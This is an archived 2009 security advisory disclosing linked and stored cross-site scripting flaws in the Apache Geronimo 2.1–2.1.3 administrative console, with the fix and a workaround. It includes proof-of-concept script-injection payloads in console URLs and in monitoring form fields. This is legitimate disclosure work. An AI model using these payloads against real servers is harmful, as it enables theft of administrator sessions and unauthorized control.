Apache Geronimo Cross Site Scripting

Type packetstorm
Reporter dsecrg.com
Modified 2009-04-16T00:00:00


Original advisory http://dsecrg.com/pages/vul/show.php?id=119  
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-019  
Application: Apache Geronimo Application Server  
Versions Affected: 2.1 - 2.1.3  
Vendor URL: http://geronimo.apache.org/  
Bug: Multiple XSS Vulnerabilities  
Exploits: YES  
Reported: 10.12.2008  
Vendor response: 10.12.2008  
Solution: YES   
Date of Public Advisory: 16.04.2009  
CVE-number: 2009-0038  
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)  
Geronimo Server Console multiple XSS vulnerabilities.  
Various linked and stored cross-site scripting (XSS) vulnerabilities were found in the Apache Geronimo administrative console and related utilities.  
This affects all full JavaEE Geronimo releases or other distributions which include the administration web console up to and including Geronimo 2.1.3.  
Using this vulnerability attacker can steal administrator's cookie and then authentificate as administrator or perform certain administrative actions.  
1. Linked XSS vulnerability.  
Attacker can inject XSS in URL string.  
http://[server]/console/portal/"><script>alert('DSecRG XSS')</script><!--  
2. Multiple Stored XSS vulnerabilities found in script   
Vulnerable parameters: "name", "ip", "username", "description".  
Attacker can inject scripts into monitorings.  
Example [Monitoring - Create View]:  
name = <script>alert('DSecRG XSS')</script>  
description = </textarea><script>alert("DSecRG XSS")</script>  
http://[server]/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveAddView&name="><script>alert("DSecRG XSS")</script>&description=</textarea><script>alert("DSecRG XSS")</script>  
This s  
ecurity vulnerabilities fixed in Geronimo 2.1.4 release.  
New version of Geronimo 2.1.4 can be downloaded from this location:  
An alternative workaround (if you choose to not upgrade to Apache Geronimo 2.1.4) would be to stop or undeploy the administration web console application in the server.  
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